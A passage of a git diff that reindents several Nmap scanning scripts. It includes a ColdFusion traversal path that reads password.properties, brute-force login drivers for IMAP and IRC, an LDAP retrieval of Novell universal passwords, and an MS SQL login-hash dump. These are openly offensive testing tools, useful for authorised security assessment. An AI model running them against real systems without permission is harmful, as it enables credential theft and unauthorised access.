'..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en', + } - local results = {} - for prod, exploit in pairs(exploits) do - local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit) - if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then - if ( "string" == type(result) ) then - result = { result } - end - result.name = prod - table.insert(results, result ) - end - end - vuln.extra_info=stdnse.format_output(true, results) - return vuln_report:make_output(vuln) + local results = {} + for prod, exploit in pairs(exploits) do + local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit) + if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then + if ( "string" == type(result) ) then + result = { result } + end + result.name = prod + table.insert(results, result ) + end + end + vuln.extra_info=stdnse.format_output(true, results) + return vuln_report:make_output(vuln) end diff --git a/scripts/imap-brute.nse b/scripts/imap-brute.nse index 436260a20..53cbeb331 100644 --- a/scripts/imap-brute.nse +++ b/scripts/imap-brute.nse @@ -46,98 +46,98 @@ ConnectionPool = {} Driver = { - -- Creates a new driver instance - -- @param host table as received by the action method - -- @param port table as received by the action method - -- @param pool an instance of the ConnectionPool - new = function(self, host, port, pool) - local o = { host = host, port = port } - setmetatable(o, self) - self.__index = self - return o - end, + -- Creates a new driver instance + -- @param host table as received by the action method + -- @param port table as received by the action method + -- @param pool an instance of the ConnectionPool + new = function(self, host, port, pool) + local o = { host = host, port = port } + setmetatable(o, self) + self.__index = self + return o + end, - -- Connects to the server (retrieves a connection from the pool) - connect = function( self ) - self.helper = ConnectionPool[coroutine.running()] - if ( not(self.helper) ) then - self.helper = imap.Helper:new( self.host, self.port ) - self.helper:connect() - ConnectionPool[coroutine.running()] = self.helper - end - return true - end, + -- Connects to the server (retrieves a connection from the pool) + connect = function( self ) + self.helper = ConnectionPool[coroutine.running()] + if ( not(self.helper) ) then + self.helper = imap.Helper:new( self.host, self.port ) + self.helper:connect() + ConnectionPool[coroutine.running()] = self.helper + end + return true + end, - -- Attempts to login to the server - -- @param username string containing the username - -- @param password string containing the password - -- @return status true on success, false on failure - -- @return brute.Error on failure and brute.Account on success - login = function( self, username, password ) - local status, err = self.helper:login( username, password, mech ) - if ( status ) then - self.helper:close() - self.helper:connect() - return true, brute.Account:new(username, password, creds.State.VALID) - end - if ( err:match("^ERROR: Failed to .* data$") ) then - self.helper:close() - self.helper:connect() - local err = brute.Error:new( err ) - -- This might be temporary, set the retry flag - err:setRetry( true ) - return false, err - end - return false, brute.Error:new( "Incorrect password" ) - end, + -- Attempts to login to the server + -- @param username string containing the username + -- @param password string containing the password + -- @return status true on success, false on failure + -- @return brute.Error on failure and brute.Account on success + login = function( self, username, password ) + local status, err = self.helper:login( username, password, mech ) + if ( status ) then + self.helper:close() + self.helper:connect() + return true, brute.Account:new(username, password, creds.State.VALID) + end + if ( err:match("^ERROR: Failed to .* data$") ) then + self.helper:close() + self.helper:connect() + local err = brute.Error:new( err ) + -- This might be temporary, set the retry flag + err:setRetry( true ) + return false, err + end + return false, brute.Error:new( "Incorrect password" ) + end, - -- Disconnects from the server (release the connection object back to - -- the pool) - disconnect = function( self ) - return true - end, + -- Disconnects from the server (release the connection object back to + -- the pool) + disconnect = function( self ) + return true + end, } action = function(host, port) - -- Connects to the server and retrieves the capabilities so that - -- authentication mechanisms can be determined - local helper = imap.Helper:new(host, port) - local status = helper:connect() - if (not(status)) then return "\n ERROR: Failed to connect to the server." end - local status, capabilities = helper:capabilities() - if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end + -- Connects to the server and retrieves the capabilities so that + -- authentication mechanisms can be determined + local helper = imap.Helper:new(host, port) + local status = helper:connect() + if (not(status)) then return "\n ERROR: Failed to connect to the server." end + local status, capabilities = helper:capabilities() + if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end - -- check if an authentication mechanism was provided or try - -- try them in the mech_prio order - local mech_prio = stdnse.get_script_args("imap-brute.auth") - mech_prio = ( mech_prio and { mech_prio } ) or - { "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" } + -- check if an authentication mechanism was provided or try + -- try them in the mech_prio order + local mech_prio = stdnse.get_script_args("imap-brute.auth") + mech_prio = ( mech_prio and { mech_prio } ) or + { "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" } - -- iterates over auth mechanisms until a valid mechanism is found - for _, m in ipairs(mech_prio) do - if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then - mech = "LOGIN" - break - elseif ( capabilities["AUTH=" .. m] ) then - mech = m - break - end - end + -- iterates over auth mechanisms until a valid mechanism is found + for _, m in ipairs(mech_prio) do + if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then + mech = "LOGIN" + break + elseif ( capabilities["AUTH=" .. m] ) then + mech = m + break + end + end - -- if no mechanisms were found, abort - if ( not(mech) ) then - return "\n ERROR: No suitable authentication mechanism was found" - end + -- if no mechanisms were found, abort + if ( not(mech) ) then + return "\n ERROR: No suitable authentication mechanism was found" + end - local engine = brute.Engine:new(Driver, host, port) - engine.options.script_name = SCRIPT_NAME - local result - status, result = engine:start() + local engine = brute.Engine:new(Driver, host, port) + engine.options.script_name = SCRIPT_NAME + local result + status, result = engine:start() - for _, helper in pairs(ConnectionPool) do helper:close() end + for _, helper in pairs(ConnectionPool) do helper:close() end - return result + return result end diff --git a/scripts/irc-brute.nse b/scripts/irc-brute.nse index 39f0d4373..71533ac13 100644 --- a/scripts/irc-brute.nse +++ b/scripts/irc-brute.nse @@ -38,54 +38,54 @@ portrule = shortport.port_or_service({6666,6667,6697,6679},{"irc","ircs"}) Driver = { - new = function(self, host, port, opts) - local o = { host = host, port = port, opts = opts or {} } - setmetatable(o, self) - self.__index = self - return o - end, + new = function(self, host, port, opts) + local o = { host = host, port = port, opts = opts or {} } + setmetatable(o, self) + self.__index = self + return o + end, - connect = function(self) - -- the high timeout should take delays from ident into consideration - local s, r, opts, _ = comm.tryssl(self.host, - self.port, - '', - { timeout = self.opts.timeout or 10000 } ) - if ( not(s) ) then - return false, "Failed to connect to server" - end - self.socket = s - return true - end, + connect = function(self) + -- the high timeout should take delays from ident into consideration + local s, r, opts, _ = comm.tryssl(self.host, + self.port, + '', + { timeout = self.opts.timeout or 10000 } ) + if ( not(s) ) then + return false, "Failed to connect to server" + end + self.socket = s + return true + end, - login = function(self, _, password) - local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password) - local status, data = self.socket:send(msg) - local success = false + login = function(self, _, password) + local msg = ("PASS %s\r\nNICK nmap_brute\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(password) + local status, data = self.socket:send(msg) + local success = false - if ( not(status) ) then - local err = brute.Error:new( data ) - -- This might be temporary, set the retry flag - err:setRetry( true ) - return false, err - end + if ( not(status) ) then + local err = brute.Error:new( data ) + -- This might be temporary, set the retry flag + err:setRetry( true ) + return false, err + end - repeat - local status, response = self.socket:receive_buf("\r?\n", false) - -- we check for the RPL_WELCOME message, if we don't see it, - -- we failed to authenticate - if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then - success = true - end - until(not(status)) + repeat + local status, response = self.socket:receive_buf("\r?\n", false) + -- we check for the RPL_WELCOME message, if we don't see it, + -- we failed to authenticate + if ( status and response:match("^:.-%s(%d*)%s") == "001" ) then + success = true + end + until(not(status)) - if (success) then - return true, brute.Account:new("", password, creds.State.VALID) - end - return false, brute.Error:new("Incorrect password") - end, + if (success) then + return true, brute.Account:new("", password, creds.State.VALID) + end + return false, brute.Error:new("Incorrect password") + end, - disconnect = function(self) return self.socket:close() end, + disconnect = function(self) return self.socket:close() end, } local function random_nick() @@ -97,48 +97,48 @@ local function random_nick() end local function needsPassword(host, port) - local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick()) - local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } ) - local err, code + local msg = ("NICK %s\r\nUSER anonymous 0 * :Nmap brute\r\n"):format(random_nick()) + local s, r, opts, _ = comm.tryssl(host, port, msg, { timeout = 15000 } ) + local err, code - repeat - local status, response = s:receive_buf("\r?\n", false) - if ( status ) then - code = tonumber(response:match("^:.-%s(%d*)%s")) - -- break after first code - if (code == 001 ) then - err = "The IRC service does not require authentication" - break - elseif( code ) then - break - end - end - until(not(status)) - if (code == 464) then - return true - end - if ( code ) then - return false, ("Failed to check password requirements, unknown code (%d)"):format(code) - else - return false, "Failed to check password requirements" - end + repeat + local status, response = s:receive_buf("\r?\n", false) + if ( status ) then + code = tonumber(response:match("^:.-%s(%d*)%s")) + -- break after first code + if (code == 001 ) then + err = "The IRC service does not require authentication" + break + elseif( code ) then + break + end + end + until(not(status)) + if (code == 464) then + return true + end + if ( code ) then + return false, ("Failed to check password requirements, unknown code (%d)"):format(code) + else + return false, "Failed to check password requirements" + end end action = function(host, port) - local status, err = needsPassword(host, port) - if ( not(status) ) then - return stdnse.format_output(false, err) - end + local status, err = needsPassword(host, port) + if ( not(status) ) then + return stdnse.format_output(false, err) + end - local engine = brute.Engine:new(Driver, host, port) - engine.options.script_name = SCRIPT_NAME - engine.options.firstonly = true - engine.options.passonly = true + local engine = brute.Engine:new(Driver, host, port) + engine.options.script_name = SCRIPT_NAME + engine.options.firstonly = true + engine.options.passonly = true local result - status, result = engine:start() + status, result = engine:start() - return result + return result end diff --git a/scripts/ldap-novell-getpass.nse b/scripts/ldap-novell-getpass.nse index e0929f812..fdeeefe20 100644 --- a/scripts/ldap-novell-getpass.nse +++ b/scripts/ldap-novell-getpass.nse @@ -54,86 +54,86 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"}) function action(host,port) - local username = stdnse.get_script_args("ldap-novell-getpass.username") - local password = stdnse.get_script_args("ldap-novell-getpass.password") or "" - local account = stdnse.get_script_args("ldap-novell-getpass.account") + local username = stdnse.get_script_args("ldap-novell-getpass.username") + local password = stdnse.get_script_args("ldap-novell-getpass.password") or "" + local account = stdnse.get_script_args("ldap-novell-getpass.account") - if ( not(username) ) then - return "\n ERROR: No username was supplied (ldap-novell-getpass.username)" - end - if ( not(account) ) then - return "\n ERROR: No account was supplied (ldap-novell-getpass.account)" - else - -- do some basic account validation - if ( not(account:match("^[Cc][Nn]=.*,") ) ) then - return "\n ERROR: The account argument should be specified as:\n" .. - " \"CN=name,OU=orgunit,O=org\"" - end - end + if ( not(username) ) then + return "\n ERROR: No username was supplied (ldap-novell-getpass.username)" + end + if ( not(account) ) then + return "\n ERROR: No account was supplied (ldap-novell-getpass.account)" + else + -- do some basic account validation + if ( not(account:match("^[Cc][Nn]=.*,") ) ) then + return "\n ERROR: The account argument should be specified as:\n" .. + " \"CN=name,OU=orgunit,O=org\"" + end + end - -- In order to discover what protocol to use (SSL/TCP) we need to send a - -- few bytes to the server. An anonymous bind should do it - local anon_bind = bin.pack("H", "300c020101600702010304008000" ) - local socket, _, opt = comm.tryssl( host, port, anon_bind, nil ) - if ( not(socket) ) then - return "\n ERROR: Failed to connect to LDAP server" - end + -- In order to discover what protocol to use (SSL/TCP) we need to send a + -- few bytes to the server. An anonymous bind should do it + local anon_bind = bin.pack("H", "300c020101600702010304008000" ) + local socket, _, opt = comm.tryssl( host, port, anon_bind, nil ) + if ( not(socket) ) then + return "\n ERROR: Failed to connect to LDAP server" + end - local status, errmsg = ldap.bindRequest( socket, { - version = 3, - username = username, - password = password - } - ) + local status, errmsg = ldap.bindRequest( socket, { + version = 3, + username = username, + password = password + } + ) - if ( not(status) ) then return errmsg end + if ( not(status) ) then return errmsg end - -- Start encoding the NMAS Get Password Request - local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13" - local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14" - -- Add a trailing zero to the account name - local data = ldap.encode( account .. '\0' ) + -- Start encoding the NMAS Get Password Request + local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13" + local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14" + -- Add a trailing zero to the account name + local data = ldap.encode( account .. '\0' ) - -- The following section could do with more documentation - -- It's based on packet dumps from the getpass utility available from Novell Cool Solutions - -- encode the account name as a sequence - data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } ) - data = ldap.encode( { _ldaptype = '81', data } ) - data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data - data = ldap.encode( { _ldaptype = '77', data } ) + -- The following section could do with more documentation + -- It's based on packet dumps from the getpass utility available from Novell Cool Solutions + -- encode the account name as a sequence + data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020101") .. data } ) + data = ldap.encode( { _ldaptype = '81', data } ) + data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data + data = ldap.encode( { _ldaptype = '77', data } ) - -- encode the whole extended request as a sequence - data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } ) + -- encode the whole extended request as a sequence + data = ldap.encode( { _ldaptype = '30', bin.pack("H", "020102") .. data } ) - status = socket:send(data) - if ( not(status) ) then return "ERROR: Failed to send request" end + status = socket:send(data) + if ( not(status) ) then return "ERROR: Failed to send request" end - status, data = socket:receive() - if ( not(status) ) then return data end - socket:close() + status, data = socket:receive() + if ( not(status) ) then return data end + socket:close() - local _, response = ldap.decode(data) + local _, response = ldap.decode(data) - -- make sure the result code was a success - local rescode = ( #response >= 2 ) and response[2] - local respname = ( #response >= 5 ) and response[5] + -- make sure the result code was a success + local rescode = ( #response >= 2 ) and response[2] + local respname = ( #response >= 5 ) and response[5] - if ( rescode ~= 0 ) then - local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured" - return "\n ERROR: " .. errmsg - end + if ( rescode ~= 0 ) then + local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured" + return "\n ERROR: " .. errmsg + end - -- make sure we get a NMAS Get Password Response back from the server - if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end + -- make sure we get a NMAS Get Password Response back from the server + if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end - local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3] + local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3] - if ( universal_pw ) then - local output = {} - table.insert(output, ("Account: %s"):format(account)) - table.insert(output, ("Password: %s"):format(universal_pw)) - return stdnse.format_output(true, output) - else - return "\n ERROR: No password was found" - end + if ( universal_pw ) then + local output = {} + table.insert(output, ("Account: %s"):format(account)) + table.insert(output, ("Password: %s"):format(universal_pw)) + return stdnse.format_output(true, output) + else + return "\n ERROR: No password was found" + end end diff --git a/scripts/ldap-rootdse.nse b/scripts/ldap-rootdse.nse index 877194947..fb8364b84 100644 --- a/scripts/ldap-rootdse.nse +++ b/scripts/ldap-rootdse.nse @@ -100,58 +100,58 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"}) function action(host,port) - local socket = nmap.new_socket() - local status, searchResEntries, req, result, opt + local socket = nmap.new_socket() + local status, searchResEntries, req, result, opt - -- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server - -- An anonymous bind should do it - local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 ) - local _ - socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil ) + -- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server + -- An anonymous bind should do it + local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 ) + local _ + socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil ) - if not socket then - return - end + if not socket then + return + end - -- We close and re-open the socket so that the anonymous bind does not distract us - socket:close() - status = socket:connect(host, port, opt) - socket:set_timeout(10000) + -- We close and re-open the socket so that the anonymous bind does not distract us + socket:close() + status = socket:connect(host, port, opt) + socket:set_timeout(10000) - -- Searching for an empty argument list against LDAP on W2K3 returns all attributes - -- This is not the case for OpenLDAP, so we do a search for an empty attribute list - -- Then we compare the results against some known and expected returned attributes - req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default } - status, searchResEntries = ldap.searchRequest( socket, req ) + -- Searching for an empty argument list against LDAP on W2K3 returns all attributes + -- This is not the case for OpenLDAP, so we do a search for an empty attribute list + -- Then we compare the results against some known and expected returned attributes + req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default } + status, searchResEntries = ldap.searchRequest( socket, req ) - -- Check if we were served all the results or not? - if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and - not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then + -- Check if we were served all the results or not? + if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and + not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then - -- The namingContexts was not there, try to query all attributes instead - -- Attributes extracted from Windows 2003 and complemented from RFC - local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext", - "dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN", - "isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts", - "rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry", - "supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion", - "supportedSASLMechanisms", "altServer", "supportedExtension"} + -- The namingContexts was not there, try to query all attributes instead + -- Attributes extracted from Windows 2003 and complemented from RFC + local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext", + "dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN", + "isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts", + "rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry", + "supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion", + "supportedSASLMechanisms", "altServer", "supportedExtension"} - req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs } - status, searchResEntries = ldap.searchRequest( socket, req ) - end + req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs } + status, searchResEntries = ldap.searchRequest( socket, req ) + end - if not status then - socket:close() - return - end + if not status then + socket:close() + return + end - result = ldap.searchResultToTable( searchResEntries ) - socket:close() + result = ldap.searchResultToTable( searchResEntries ) + socket:close() - -- if taken a way and ldap returns a single result, it ain't shown.... - result.name = "LDAP Results" + -- if taken a way and ldap returns a single result, it ain't shown.... + result.name = "LDAP Results" - return stdnse.format_output(true, result ) + return stdnse.format_output(true, result ) end diff --git a/scripts/membase-http-info.nse b/scripts/membase-http-info.nse index 01e7e2dcf..6c631a7c4 100644 --- a/scripts/membase-http-info.nse +++ b/scripts/membase-http-info.nse @@ -45,106 +45,106 @@ portrule = shortport.port_or_service(8091, "http", "tcp") local function fail(err) return ("\n ERROR: %s"):format(err) end local filter = { - ["parsed[1]['nodes'][1]['os']"] = { name = "OS" }, - ["parsed[1]['nodes'][1]['version']"] = { name = "Version" }, - ["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" }, - ["parsed[1]['nodes'][1]['status']"] = { name = "Status" }, - ["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" }, - ["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" }, - ["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" }, - ["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" }, - ["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" }, - ["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" }, - ["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" }, - ["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" }, - ["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" }, - ["parsed['componentsVersion']['sasl']"] = { name = "SASL version" }, + ["parsed[1]['nodes'][1]['os']"] = { name = "OS" }, + ["parsed[1]['nodes'][1]['version']"] = { name = "Version" }, + ["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" }, + ["parsed[1]['nodes'][1]['status']"] = { name = "Status" }, + ["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" }, + ["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" }, + ["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" }, + ["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" }, + ["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" }, + ["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" }, + ["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" }, + ["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" }, + ["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" }, + ["parsed['componentsVersion']['sasl']"] = { name = "SASL version" }, } local order = { - "parsed[1]['nodes'][1]['hostname']", - "parsed[1]['nodes'][1]['os']", - "parsed[1]['nodes'][1]['version']", - "parsed['componentsVersion']['kernel']", - "parsed['componentsVersion']['mnesia']", - "parsed['componentsVersion']['stdlib']", - "parsed['componentsVersion']['os_mon']", - "parsed['componentsVersion']['ns_server']", - "parsed['componentsVersion']['sasl']", - "parsed[1]['nodes'][1]['status']", - "parsed[1]['nodes'][1]['uptime']", - "parsed[1]['nodes'][1]['memoryTotal']", - "parsed[1]['nodes'][1]['memoryFree']", - "parsed[1]['vBucketServerMap']['serverList']", + "parsed[1]['nodes'][1]['hostname']", + "parsed[1]['nodes'][1]['os']", + "parsed[1]['nodes'][1]['version']", + "parsed['componentsVersion']['kernel']", + "parsed['componentsVersion']['mnesia']", + "parsed['componentsVersion']['stdlib']", + "parsed['componentsVersion']['os_mon']", + "parsed['componentsVersion']['ns_server']", + "parsed['componentsVersion']['sasl']", + "parsed[1]['nodes'][1]['status']", + "parsed[1]['nodes'][1]['uptime']", + "parsed[1]['nodes'][1]['memoryTotal']", + "parsed[1]['nodes'][1]['memoryFree']", + "parsed[1]['vBucketServerMap']['serverList']", } local function cmdReq(host, port, url, result) - local response = http.get(host, port, url) + local response = http.get(host, port, url) - if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then - return false - end + if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then + return false + end - if ( response.header['server'] and - not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then - return false - end + if ( response.header['server'] and + not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then + return false + end - local status, parsed = json.parse(response.body) - if ( not(status) ) then - return false, "Failed to parse response from server" - end + local status, parsed = json.parse(response.body) + if ( not(status) ) then + return false, "Failed to parse response from server" + end - result = result or {} - for item in pairs(filter) do - local var, val = "" - for x in item:gmatch("(.-%])") do - var = var .. x - local env = setmetatable({parsed=parsed}, {__index = _G}) - local func = load("return " .. var, nil, "t", env) + result = result or {} + for item in pairs(filter) do + local var, val = "" + for x in item:gmatch("(.-%])") do + var = var .. x + local env = setmetatable({parsed=parsed}, {__index = _G}) + local func = load("return " .. var, nil, "t", env) - if ( not(func()) ) then - val = nil - break - end - val = func() - end + if ( not(func()) ) then + val = nil + break + end + val = func() + end - if ( val ) then - local name = filter[item].name - val = ( "table" == type(val) and stdnse.strjoin(",", val) or val ) - result[item] = { name = name, value = val } - end - end - return true, result + if ( val ) then + local name = filter[item].name + val = ( "table" == type(val) and stdnse.strjoin(",", val) or val ) + result[item] = { name = name, value = val } + end + end + return true, result end action = function(host, port) - -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests - local _, http_status, _ = http.identify_404(host,port) - if ( http_status == 200 ) then - stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) - return false - end + -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests + local _, http_status, _ = http.identify_404(host,port) + if ( http_status == 200 ) then + stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) + return false + end - local urls = { "/pools/default/buckets", "/pools" } + local urls = { "/pools/default/buckets", "/pools" } - local status, result - for _, u in ipairs(urls) do - status, result = cmdReq(host, port, u, result) - end + local status, result + for _, u in ipairs(urls) do + status, result = cmdReq(host, port, u, result) + end - if ( not(result) or not(next(result)) ) then - return - end + if ( not(result) or not(next(result)) ) then + return + end - local output = tab.new(2) - for _, item in ipairs(order) do - if ( result[item] ) then - tab.addrow(output, result[item].name, result[item].value) - end - end + local output = tab.new(2) + for _, item in ipairs(order) do + if ( result[item] ) then + tab.addrow(output, result[item].name, result[item].value) + end + end - return stdnse.format_output(true, tab.dump(output)) + return stdnse.format_output(true, tab.dump(output)) end diff --git a/scripts/ms-sql-dump-hashes.nse b/scripts/ms-sql-dump-hashes.nse index 3e2a5d1e6..88bd868d6 100644 --- a/scripts/ms-sql-dump-hashes.nse +++ b/scripts/ms-sql-dump-hashes.nse @@ -43,46 +43,46 @@ portrule = mssql.Helper.GetPortrule_Standard() local function process_instance(instance) - local helper = mssql.Helper:new() - local status, errorMessage = helper:ConnectEx( instance ) - if ( not(status) ) then - return false, { - ['name'] = string.format( "[%s]", instance:GetName() ), - "ERROR: " .. errorMessage - } - end + local helper = mssql.Helper:new() + local status, errorMessage = helper:ConnectEx( instance ) + if ( not(status) ) then + return false, { + ['name'] = string.format( "[%s]", instance:GetName() ), + "ERROR: " .. errorMessage + } + end - status, errorMessage = helper:LoginEx( instance ) - if ( not(status) ) then - return false, { - ['name'] = string.format( "[%s]", instance:GetName() ), - "ERROR: " .. errorMessage - } - end + status, errorMessage = helper:LoginEx( instance ) + if ( not(status) ) then + return false, { + ['name'] = string.format( "[%s]", instance:GetName() ), + "ERROR: " .. errorMessage + } + end - local result - local query = [[ - IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0 - SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL - ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0 - SELECT name, password_hash FROM master.sys.sql_logins - ]] - status, result = helper:Query( query ) + local result + local query = [[ + IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0 + SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL + ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0 + SELECT name, password_hash FROM master.sys.sql_logins + ]] + status, result = helper:Query( query ) - local output = {} + local output = {} - if ( status ) then - for _, row in ipairs( result.rows ) do - table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") ) - end + if ( status ) then + for _, row in ipairs( result.rows ) do + table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") ) end + end - helper:Disconnect() - local instanceOutput = {} - instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) - table.insert( instanceOutput, output ) + helper:Disconnect() + local instanceOutput = {} + instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) + table.insert( instanceOutput, output ) - return true, instanceOutput + return true, instanceOutput end @@ -92,44 +92,44 @@ end -- @return status true on success, false on failure -- @return err string containing the error if status is false local function saveToFile(filename, response) - local f = io.open( filename, "w") - if ( not(f) ) then - return false, ("Failed to open file (%s)"):format(filename) - end - for _, row in ipairs(response) do - if ( not(f:write(row .."\n" ) ) ) then - return false, ("Failed to write file (%s)"):format(filename) - end - end - f:close() - return true + local f = io.open( filename, "w") + if ( not(f) ) then + return false, ("Failed to open file (%s)"):format(filename) + end + for _, row in ipairs(response) do + if ( not(f:write(row .."\n" ) ) ) then + return false, ("Failed to write file (%s)"):format(filename) + end + end + f:close() + return true end action = function( host, port ) - local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir") - local scriptOutput = {} - local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) + local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir") + local scriptOutput = {} + local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - if ( not status ) then - return stdnse.format_output( false, instanceList ) - else - for _, instance in pairs( instanceList ) do - local status, instanceOutput = process_instance( instance ) - if ( status ) then - local filename - if ( dir ) then - local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName() - filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance)) - saveToFile(filename, instanceOutput[1]) - end - end - table.insert( scriptOutput, instanceOutput ) - end - end + if ( not status ) then + return stdnse.format_output( false, instanceList ) + else + for _, instance in pairs( instanceList ) do + local status, instanceOutput = process_instance( instance ) + if ( status ) then + local filename + if ( dir ) then + local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName() + filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance)) + saveToFile(filename, instanceOutput[1]) + end + end + table.insert( scriptOutput, instanceOutput ) + end + end - if ( #scriptOutput == 0 ) then return end + if ( #scriptOutput == 0 ) then return end - local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] ) + local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] ) - return stdnse.format_output( true, output ) + return stdnse.format_output( true, output ) end diff --git a/scripts/nessus-brute.nse b/scripts/nessus-brute.nse index 01120c13c..c61228f26 100644 --- a/scripts/nessus-brute.nse +++ 